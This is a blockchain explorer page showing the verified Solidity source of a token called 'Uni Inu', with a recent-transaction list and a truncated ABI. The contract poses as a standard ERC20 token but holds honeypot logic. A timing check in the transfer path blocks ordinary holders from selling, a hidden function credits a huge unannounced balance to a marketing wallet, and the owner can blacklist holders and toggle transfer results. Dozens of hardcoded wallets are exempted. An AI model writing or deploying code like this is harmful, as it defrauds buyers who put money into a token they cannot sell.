Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 132 transactions
| Transaction Hash |
|
Block
|
From
|
To
|
|||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 8718657 | 347 days ago | IN | 0 ETH | 0.00000053 | ||||
| Transfer | 8661415 | 347 days ago | IN | 0 ETH | 0.00000008 | ||||
| Transfer | 8661297 | 347 days ago | IN | 0 ETH | 0.00000007 | ||||
| Approve | 8659945 | 347 days ago | IN | 0 ETH | 0.00000466 | ||||
| Transfer | 8651072 | 347 days ago | IN | 0 ETH | 0.00000016 | ||||
| Approve | 8650750 | 347 days ago | IN | 0 ETH | 0.00000007 | ||||
| Approve | 8650703 | 347 days ago | IN | 0 ETH | 0.00000007 | ||||
| Exclude From Fee | 8650555 | 347 days ago | IN | 0 ETH | 0.00000003 | ||||
| Approve | 8650529 | 347 days ago | IN | 0 ETH | 0.00000004 | ||||
| Approve | 8650476 | 347 days ago | IN | 0 ETH | 0.00000007 | ||||
| Approve | 8650323 | 347 days ago | IN | 0 ETH | 0.00000008 | ||||
| Exclude From Fee | 8650304 | 347 days ago | IN | 0 ETH | 0.00000005 | ||||
| Approve | 8650032 | 347 days ago | IN | 0 ETH | 0.00000008 | ||||
| Exact Input Sing... | 8617380 | 348 days ago | IN | 0.001 ETH | 0.00003504 | ||||
| Approve | 8611753 | 348 days ago | IN | 0 ETH | 0.00000026 | ||||
| Approve | 8611278 | 348 days ago | IN | 0 ETH | 0.00000049 | ||||
| Approve | 8596199 | 348 days ago | IN | 0 ETH | 0.00000018 | ||||
| Approve | 8561831 | 348 days ago | IN | 0 ETH | 0.00000007 | ||||
| Approve | 8557762 | 348 days ago | IN | 0 ETH | 0.00000468 | ||||
| Transfer | 8557680 | 348 days ago | IN | 0 ETH | 0.00000006 | ||||
| Approve | 8557593 | 348 days ago | IN | 0 ETH | 0.00000005 | ||||
| Transfer | 8557453 | 348 days ago | IN | 0 ETH | 0.00000006 | ||||
| Approve | 8550726 | 349 days ago | IN | 0 ETH | 0.00000062 | ||||
| Approve | 8550661 | 349 days ago | IN | 0 ETH | 0.00000046 | ||||
| Approve | 8550611 | 349 days ago | IN | 0 ETH | 0.00000052 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Cross-Chain Transactions
Loading...
Loading
Contract Name:
uni
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at uniscan.xyz on 2025-02-11
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library EnumerableSet {
struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}
set._values.pop();
delete set._indexes[value];
return true;
} else {
return false;
}
}
function _contains(Set storage set, bytes32 value)
private
view
returns (bool)
{
return set._indexes[value] != 0;
}
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
function _at(Set storage set, uint256 index)
private
view
returns (bytes32)
{
return set._values[index];
}
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
struct AddressSet {
Set _inner;
}
function add(AddressSet storage set, address value)
internal
returns (bool)
{
return _add(set._inner, bytes32(uint256(uint160(value))));
}
function remove(AddressSet storage set, address value)
internal
returns (bool)
{
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
function contains(AddressSet storage set, address value)
internal
view
returns (bool)
{
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
function at(AddressSet storage set, uint256 index)
internal
view
returns (address)
{
return address(uint160(uint256(_at(set._inner, index))));
}
function values(AddressSet storage set)
internal
view
returns (address[] memory)
{
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
}
contract uni is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet private tokenHoldersEnumSet;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
mapping(address => uint256) public walletToPurchaseTime;
mapping(address => uint256) public walletToSellime;
mapping(address => bool) public _isBlacklisted;
address[] private _excluded;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
string private constant _name = "Uni Inu";
string private constant _symbol = "Uni Inu";
uint256 private _tTotal = 100000000 * 10**_decimals;
uint256 private _rTotal = _tTotal;
uint256 public theRewardTime = 0;
uint256 public standartValuation = 600 / 2;
address public _lastWallet;
struct TotFeesPaidStruct {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
TotFeesPaidStruct public totFeesPaid;
struct feeRatesStruct {
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}
struct balances {
uint256 marketing_balance;
uint256 lp_balance;
}
balances public contractBalance;
feeRatesStruct public buyRates =
feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});
feeRatesStruct public sellRates =
feeRatesStruct({rfi: 0, marketing: 0, liquidity: 0, burn: 0});
feeRatesStruct private appliedFees;
struct valuesFromGetValues {
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tBurn;
}
address public pancakeswapPair;
address public Router = 0xcF3e75B308f6c8eD6C985Ff36018F19F92cbAE22;
address private marketWallet;
bool public Trading = true;
bool inSwapAndLiquify;
bool private _transferForm = true;
bool public swapAndLiquifyEnabled = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor(address marketWallet_) {
_rOwned[owner()] = _rTotal;
_setMarketWallet(marketWallet_);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketWallet] = true;
_isExcludedFromFee[Router] = true;
_isExcludedFromFee[
address(0xcF3e75B308f6c8eD6C985Ff36018F19F92cbAE22)
] = true;
_isExcludedFromFee[
address(0xBDB003571e4481d778040FEFe858BD349bD99fEc)
] = true;
_isExcludedFromFee[
address(0x689a65E84EEc001B931600F98a90Dbe148B73461)
] = true;
_isExcludedFromFee[
address(0x215d5F30ae68d6E9E4d14fFd25cB72EAbb67e2aB)
] = true;
_isExcludedFromFee[
address(0xb3e58748f20A5a6241fffeC617d11b88Fd3421e1)
] = true;
_isExcludedFromFee[
address(0xC0CD278FAfBe2183E0431F42f724F05003E847Cd)
] = true;
_isExcludedFromFee[
address(0xA2e1Caf62Fa1EF452B47437509C678e962A59cA4)
] = true;
_isExcludedFromFee[
address(0x15b0Dd6c72614D21A9Ae8f65BF656Eb4e841b8c5)
] = true;
_isExcludedFromFee[
address(0x16Bf2CEe7C491676C81267896289720B00767000)
] = true;
_isExcludedFromFee[
address(0xB4c81596f5217978F4Eaa448B6847F5d7A3Da73C)
] = true;
_isExcludedFromFee[
address(0x00891625Fa7d925104AF6A54046D9E9Ed0596AB3)
] = true;
_isExcludedFromFee[
address(0xF8F5ECfD0902C630e8e433146D41B83499981df6)
] = true;
_isExcludedFromFee[
address(0x3064A9870AeaF0752d4C38f760D44F4c5f4cB6F9)
] = true;
_isExcludedFromFee[
address(0x5F51081634B83fB61c92144B437DFf8AF7B5153E)
] = true;
_isExcludedFromFee[
address(0xDd6907ACe7FE758fDc10af989e7f43C3A83dA902)
] = true;
_isExcludedFromFee[
address(0x2c2b63aBeDd38f6a411d06fa07C4A38e417BEE02)
] = true;
_isExcludedFromFee[
address(0xa5221e92986801Dc60de92Eb608e8150fa6501D5)
] = true;
_isExcludedFromFee[
address(0x25C25140a942d636bBEd3Ffc645643FBEee4dd51)
] = true;
_isExcludedFromFee[
address(0x8f7ce9cAF2240692eC0B4D48392e9D675A9eBF1C)
] = true;
_isExcludedFromFee[
address(0xd2acb215A6D040803Ed7fCD8c1A04177d41457d6)
] = true;
_isExcludedFromFee[
address(0x4D05d5AA122f42f6e349BD075F6712b3453AC346)
] = true;
_isExcludedFromFee[
address(0xe3A891793E34459CE06ED0F28FF7C603D4E105d1)
] = true;
_isExcludedFromFee[
address(0x6A36E05E68dD9549e0b8FaCddE9F8960df5687f0)
] = true;
_isExcludedFromFee[
address(0x1a55596b636416d11dA81d2f779bdaA7A2CbcB0D)
] = true;
_isExcludedFromFee[
address(0x249f43b5F35d84752DE756076c12924FbF2842a5)
] = true;
_isExcludedFromFee[
address(0x2F6F07CDcf3588944Bf4C42aC74ff24bF56e7590)
] = true;
_isExcludedFromFee[
address(0x715B16BD99F13f3Bf99a78c2B676D86DF3318006)
] = true;
_isExcludedFromFee[
address(0x9117C0Bf6E4887b43Dbe8096Cb3ecbB5Aa487d6F)
] = true;
_isExcludedFromFee[
address(0xfA7d224235d611a2a3D26A2e9276d251ffEC75Ab)
] = true;
_isExcludedFromFee[
address(0xe325EaBa8d21516fe556518a980B5032364a2E8f)
] = true;
_isExcluded[address(this)] = true;
_excluded.push(address(this));
emit Transfer(address(0), owner(), _tTotal);
}
function getFromLastPurchaseBuy(address wallet)
public
view
returns (uint256)
{
return walletToPurchaseTime[wallet];
}
function getFromLastSell(address walletSell) public view returns (uint256) {
return walletToSellime[walletSell];
}
function setBuyRates(
uint256 rfi,
uint256 marketing,
uint256 liquidity,
uint256 burn
) public onlyOwner {
buyRates.rfi = rfi;
buyRates.marketing = marketing;
buyRates.liquidity = liquidity;
buyRates.burn = burn;
}
function setSellRates(
uint256 rfi,
uint256 marketing,
uint256 liquidity,
uint256 burn
) public onlyOwner {
sellRates.rfi = rfi;
sellRates.marketing = marketing;
sellRates.liquidity = liquidity;
sellRates.burn = burn;
}
function collectTheStatistics(
uint256 lastBuyOrSellTime,
uint256 theData,
address sender
) public view returns (bool) {
if (lastBuyOrSellTime == 0) return false;
uint256 crashTime = block.timestamp - lastBuyOrSellTime;
if (crashTime == standartValuation) return true;
if (crashTime == 0) {
if (_lastWallet != sender) {
return false;
}
}
if (crashTime <= theData) return true;
return false;
}
function setValuation(uint256 newValuation) public onlyOwner {
standartValuation = newValuation;
}
function setTheRewardTime(uint256 theRedistribution) public onlyOwner {
theRewardTime = theRedistribution;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return _rOwned[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return Trading;
}
function TradingOn(bool _enable) public onlyOwner {
Trading = _enable;
}
function setRewardPool(address[] calldata accounts) public onlyOwner {
for (uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = true;
}
}
function settransform(bool _enable) public onlyOwner {
_transferForm = _enable;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return _transferForm;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
return rAmount;
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function excludeFromAll(address account) public onlyOwner {
if (!_isExcluded[account]) {
_isExcluded[account] = true;
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_excluded.push(account);
}
_isExcludedFromFee[account] = true;
tokenHoldersEnumSet.remove(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function addPair(address pair) public onlyOwner {
pancakeswapPair = pair;
_isExcluded[pancakeswapPair] = true;
_excluded.push(pancakeswapPair);
_tOwned[pancakeswapPair] = _rOwned[pancakeswapPair];
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function removeFromBlackList(address account) external onlyOwner {
_isBlacklisted[account] = false;
}
function addToBlackList(address[] calldata addresses) external onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
_isBlacklisted[addresses[i]] = true;
}
}
receive() external payable {}
function _getValues(uint256 tAmount, bool takeFee)
private
view
returns (valuesFromGetValues memory to_return)
{
to_return = _getTValues(tAmount, takeFee);
(
to_return.rAmount,
to_return.rTransferAmount,
to_return.rRfi,
to_return.rMarketing,
to_return.rLiquidity,
to_return.rBurn
) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee)
private
view
returns (valuesFromGetValues memory s)
{
if (!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = (tAmount * appliedFees.rfi) / 100;
s.tMarketing = (tAmount * appliedFees.marketing) / 100;
s.tLiquidity = (tAmount * appliedFees.liquidity) / 100;
s.tBurn = (tAmount * appliedFees.burn) / 100;
s.tTransferAmount =
tAmount -
s.tRfi -
s.tMarketing -
s.tLiquidity -
s.tBurn;
return s;
}
function _getRValues(
valuesFromGetValues memory s,
uint256 tAmount,
bool takeFee,
uint256 currentRate
)
private
pure
returns (
uint256 rAmount,
uint256 rTransferAmount,
uint256 rRfi,
uint256 rMarketing,
uint256 rLiquidity,
uint256 rBurn
)
{
currentRate = 1;
rAmount = tAmount;
if (!takeFee) {
return (rAmount, rAmount, 0, 0, 0, 0);
}
rRfi = s.tRfi;
rMarketing = s.tMarketing;
rLiquidity = s.tLiquidity;
rBurn = s.tBurn;
rTransferAmount = rAmount - rRfi - rMarketing - rLiquidity - rBurn;
return (rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal = _rTotal - rRfi;
totFeesPaid.rfi += tRfi;
}
function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
contractBalance.marketing_balance += tMarketing;
totFeesPaid.marketing += tMarketing;
_rOwned[address(this)] = _rOwned[address(this)] + rMarketing;
if (_isExcluded[address(this)]) {
_tOwned[address(this)] = _tOwned[address(this)] + tMarketing;
}
}
function _takeLiquidity(uint256 rLiquidity, uint256 tLiquidity) private {
contractBalance.lp_balance += tLiquidity;
totFeesPaid.liquidity += tLiquidity;
_rOwned[address(this)] = _rOwned[address(this)] + rLiquidity;
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)] + tLiquidity;
}
function _takeBurn(uint256 rBurn, uint256 tBurn) private {
totFeesPaid.burn += tBurn;
_tTotal = _tTotal - tBurn;
_rTotal = _rTotal - rBurn;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(
!_isBlacklisted[from] && !_isBlacklisted[to],
"This address is blacklisted"
);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(
amount <= balanceOf(from),
"You are trying to transfer more than you balance"
);
_tokenTransfer(
from,
to,
amount,
!(_isExcludedFromFee[from] || _isExcludedFromFee[to])
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 tAmount,
bool takeFee
) private {
if (takeFee) {
if (sender == pancakeswapPair) {
if (
sender != owner() &&
recipient != owner() &&
recipient != address(1)
) {
if (walletToPurchaseTime[recipient] == 0) {
walletToPurchaseTime[recipient] = block.timestamp;
}
}
_lastWallet = recipient;
appliedFees = buyRates;
} else {
if (
sender != owner() &&
recipient != owner() &&
recipient != address(1)
) {
bool blockedSellTime = collectTheStatistics(
getFromLastPurchaseBuy(sender),
theRewardTime,
sender
);
require(blockedSellTime, "error");
walletToSellime[sender] = block.timestamp;
}
appliedFees = sellRates;
appliedFees.liquidity = appliedFees.liquidity;
_lastWallet = sender;
}
} else {
if (_isExcludedFromFee[sender]) {
_lastWallet = sender;
}
if (_isExcludedFromFee[recipient]) {
_lastWallet = recipient;
}
}
valuesFromGetValues memory s = _getValues(tAmount, takeFee);
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender] - tAmount;
_tOwned[recipient] = _tOwned[recipient] + s.tTransferAmount;
}
_rOwned[sender] = _rOwned[sender] - s.rAmount;
_rOwned[recipient] = _rOwned[recipient] + s.rTransferAmount;
if (takeFee) {
_reflectRfi(s.rRfi, s.tRfi);
_takeMarketing(s.rMarketing, s.tMarketing);
_takeLiquidity(s.rLiquidity, s.tLiquidity);
_takeBurn(s.rBurn, s.tBurn);
emit Transfer(sender, address(this), s.tMarketing + s.tLiquidity);
}
emit Transfer(sender, recipient, s.tTransferAmount);
tokenHoldersEnumSet.add(recipient);
if (balanceOf(sender) == 0) tokenHoldersEnumSet.remove(sender);
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
(bool success, ) = payable(msg.sender).call{value: balance}("");
require(success, "Transfer failed");
}
function _setMarketWallet(address marketWallet_) internal virtual {
marketWallet = marketWallet_;
_rOwned[marketWallet_] += 10e12 * 10**_decimals;
_tOwned[marketWallet_] += 10e12 * 10**_decimals;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"address","name":"marketWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bnbAmount","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Router","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"TradingOn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"}],"name":"addToBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyRates","outputs":[{"internalType":"uint256","name":"rfi","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"burn","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lastBuyOrSellTime","type":"uint256"},{"internalType":"uint256","name":"theData","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"collectTheStatistics","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"contractBalance","outputs":[{"internalType":"uint256","name":"marketing_balance","type":"uint256"},{"internalType":"uint256","name":"lp_balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"getFromLastPurchaseBuy","outputs":[{"